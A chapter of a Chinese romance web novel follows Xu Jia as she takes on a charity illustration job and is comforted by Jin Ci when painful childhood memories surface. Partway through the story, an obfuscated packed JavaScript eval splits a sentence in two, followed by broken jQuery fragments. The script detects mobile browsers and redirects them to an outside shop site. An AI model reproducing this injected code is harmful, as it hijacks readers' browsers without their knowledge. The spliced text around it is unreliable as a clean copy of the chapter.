听完景禾的这一番话,许迦低着头,搅动着杯中的咖啡,却没有喝一口,熟悉她的人就知道,这是她在沉思和纠结的时候才会做出的动作。
景禾也没有说话,她看得出许迦是个有故事的小姑娘,给足了她思考的时间。直到最后,景禾想说再让她考虑三天的时间,许迦却开口了。
“画风和主题,还有别的要求吗?”
景禾稍愣,眼里闪过一抹惊喜,继而道:“我们会给你提供真实的案例,包括这方面的科普资料,等等……”
这次的谈话谈了将近四十多分钟,许迦出来的时候,天已经略略昏暗,夕阳即将褪去,临近傍晚时分。
许迦本以为靳辞已经开车走了,刚出门准备打地铁的,却在落到那辆熟悉的车时目光一怔。他……还在等她吗?
说不清是什么感觉,只是心里好像被温柔的轻风刮过,就像此刻温柔至极的晚风,微微吹起鬓角一缕发丝,暮色之下刚好能清楚看见许迦一双闪亮的鹿眼。好像刚才讨论细节的疲倦和不适全都在此刻消失了。
许迦拉开车门,还没坐进去,只是静悄悄盯着靳辞流畅的侧脸:“你等了好久呀。”
靳辞稍偏过头看许迦,直觉告诉他,此刻的许迦好像和往常不太一样,于是只是淡淡说了句:“先上车,回家。”
“回家”两个字眼说出来,落入许迦的耳中,既陌生,又让她有种说不清道不明的感觉,痒痒的,明知道不可以,却让人忍不住靠近,再靠近。
*
回家之后,许迦收到了景禾发过来的资料和案例,吃过晚饭之后,许迦问靳辞:“除了你的书房,哪里还有可以办公的地方吗?”
靳辞抬眼看她:“我记得我们公司不提倡员工加班。”
许迦知道是他误会了,忙解释:“不是的,不是公司的工作……”许迦咬了咬唇,又觉得这没什么好隐瞒的,于是直接道:“有一家公益插画邀请我给他们画一组宣传图,酬金……还挺可观的。”
这是许迦自己的事业,尽管他有钱,不需要她再额外负担,但靳辞没什么好阻拦的,“嗯”了一声,声音轻淡:“家里房间暂时都满了,没有可以多出来办公的地方,如果你不介意,可以跟我一起去书房。”
许迦没意见,有地方就好。只是……许迦悄悄抬眼看他,又垂下脑袋,忽然想起自己醉酒那天被他按在门板上亲吻的画面,如今……又要共处一室吗?许迦脸上爬上了一抹红晕,迅速扒了一口饭,掩盖住自己的小心思。
书房。
靳辞在阳台打电话,口中是流利至极的地道纯英文,听到门口的响动,靳辞拉开隔离阳台的帘子,看见许迦一个人费力地搬着画笔和画架、抱着平板、还有一些资料时,靳辞和电话那头用英文说了句“稍等”,然后帮许迦拿了大部分东西。
许迦只抱着平板和一支画笔,看着靳辞低眸帮她搬东西的样子,不禁看出了神。
直到靳辞摆好她的东西,转头看她,询问:“还有别的东西吗?”
许迦摇头,因为怕进进出出打扰他办公,所以她一次性把东西全都搬过来了。
靳辞确认许迦不需要他帮忙以后,“嗯”了一声,留下一句“有事就叫我”后,才迈步走向阳台。
一边走,一边继续用英文对话,电话那边好像是他在外国的好友,问了他一句什么,带着明显调侃的语气。而提到这个,靳辞莫名多了好几分的耐心,嘴角不禁上扬:“Yes,that’smygirl.”
言归正传,和电话那头聊了将近半小时的公事,靳辞才挂断了电话,重新拉开帘子,看见的却是许迦盯着只画了寥寥几笔的画板,沉默着在发呆的场景。
从许迦下午下班后谈完插画上车时,靳辞就感觉到的不对劲,一直到现在,此刻,才终于清晰明了起来。
许迦盯了很久的画板,平常这个时间,已经完全足够她完成两个海报小单子,但在此刻,许迦完全动不了笔。
一想到脑海之中那些若隐若现、不够清晰却印刻至极的画面,一想到童年那些她躲在阴影中的画面,明明已经离开南城那么久,记忆好像已经封存,但一旦拆开一角,就变得如此淋漓。
许迦将头慢慢埋入臂弯,眼角不自觉流淌出一滴泪,此刻她的视线已经完全处于一片阴影,在视线彻底陷入黑暗之前,许迦听到了一道好听又轻柔的声音,说不清是什么好听的感觉,甚至明明听上去声线有些冷淡,但却像夏天的薄荷糖一样,看似清凉,却拯救了闷热。
“哪里不舒服?”
许迦蓦然抬头,视线恢复一片明亮,对上靳辞关注的眼神,眼角的那滴不明显的泪迅速流失。
许迦下意识想站起身,却被靳辞按住肩膀,额头上抚上他宽大的手掌。这还不够,仿佛是为了再次确认一样,靳辞弯下高大的身体,和坐在凳子上的许迦平齐视线。
许迦呆在原地,和靳辞靠得非常之近,两双眼睛距离极近地对上,许迦在那一刻大脑变得一片空白,甚至来不及看清楚靳辞眼里的关切,温凉的额前已经碰上他的额头。
两张脸靠得非常非常近,靳辞一手按着许迦的肩膀,一手抚在她的脑后,过了好一会儿才直起身体,回想起许迦不太对劲的样子,靳辞又重新单膝跪地,和她平齐视线。
“哪里不舒服?要不要去拿温度计?”
额前仿佛还残留着他的温度,听到他想要离开,许迦竟然第一时间扯住他的衣袖一角,声音沙哑:“别走。”
“能不能……”许迦有点难以启齿,面对这样一个才相处没几天的陌生异性,理智上告诉她不该如此,不管是因为他忙还是别的原因,但行为和感觉上,对上靳辞眼中只装着她的眼里,许迦克制不住自己。她为什么现在这么想贴近他,抱他,好想让他陪自己。
“你……能不能陪我……聊一会儿天?”
不出所料的,靳辞平视着她的视线,很快说了句“好”。
说出口后,许迦才突然不知道要聊什么,怎么跟他聊天。
为了打破这种尴尬,许迦没头没脑地东扯西扯了好些有的没的,大多是闲散又无厘头的聊天,但靳辞竟然每一句都认真回复。
比如:许迦说自己第一次认识他的时候,觉得他很冷酷,自己的画被他打回好多次,害得自己都怀疑自己的水平了。靳辞就很认真地陪着她聊,告诉她其实她的画已经超越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643918|206671||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了大部分的插画师,是自己要求太过苛刻。
再比如,许迦说京市的天气比南城稳定好多,南城的天气时不时就发癫。靳辞很认真地回复她,南城的地理位置确实有这样的特点,那里下雨很猝不及防,需要随时带伞,热的时候是真的热,湿的时候也很湿。
直到气氛再次沉寂下来,靳辞问她:“还有什么要问我的吗?”
许迦对上他认真的神色和只装着她的眼睛,心跳猝不及防漏掉了一拍,只是一瞬,快得让人几乎捕捉不到。
看见许迦摇头后,靳辞才缓缓出声:“那轮到我问你了。”
“身体没有不舒服的话,是什么事情不开心?”
没有想到靳辞居然是问这种问题,从小到大,几乎没有人是关心她的情绪的。倒不是没有人愿意关注她,而是受到某些影响,许迦非常擅长隐藏自己的某些自己都觉得很小的小情绪。
比如她和好朋友玩,吃醋或不满这种微不足道的小情绪,许迦从来不会表现出来,只会自己默默消化,她有时候会觉得自己矫情,没必要表露出来。
而现在,居然有人关注到了她的情绪,看透了她的脆弱,并且如此直白询问她,是哪里不开心。
许迦动了动嘴巴,却依旧没有办法像他那样直白地说出口。
靳辞也不逼她,只是平视着许迦,神情认真而正经,就如同他在公司处理事务一样:“说不出就不说了,如果需要我,我随时都在,只要你开口。”
然后,靳辞站起身:“我还有些项目没处理,画不出就去睡,明天还要上班。”
奇迹般的,许迦躁动不安的负面情绪竟然因为靳辞而奇迹般的稳定下来了,眼神随着靳辞移动,瞥见他在处理工作,眼神没再多分给她一眼。
看到这一幕,许迦深呼吸一口气,突然觉得那些印刻到骨子里的恐惧变得没有那么恐怖了,那些残暴的画面忽然被抚平了褶皱,愈发清晰却没有了之前的不可触碰,原本被称为禁区的东西好像突然向她敞开。
已经临近深夜十一点钟,外面的天完全黑了下来,一片黑暗中这栋大楼却依旧闪着万家灯火的通明亮光,和点缀黑暗的星月一般,点缀着人间。
许迦画了好几张初稿,不自觉打了个哈欠,有点困意了,于是加快速度画完最后一笔,又打了一个哈欠,收拾了一下自己的东西,和靳辞说句:“我先回房睡了。”
因为已经比较晚了,再加上费脑子画了几张插画,所以许迦洗了个澡以后,躺在温暖的大床上很快就睡着了。
迷迷糊糊中,仿佛床边的另一侧塌陷了一片,许迦陷入沉睡中,没有什么意识地翻了个身,本能地靠近那片温暖,双手双脚贴上他的,以挂着他的姿势并在他的身上,像树袋熊一样。
靳辞有力的手臂圈住怀里小小的一团,下巴磕在她柔软的发顶,熄灭了灯光。
第二天就是周末了,靳辞的生物钟叫醒了他,但因为想要许迦多睡会,就没叫她,也没打扰她,轻手轻脚地把许迦的双手双脚从自己身上放下,盯着许迦安静的睡颜看了一会,才挪开视线。
等许迦睡到自然醒起来,靳辞才问她:“今天周末,打不打算出去玩?”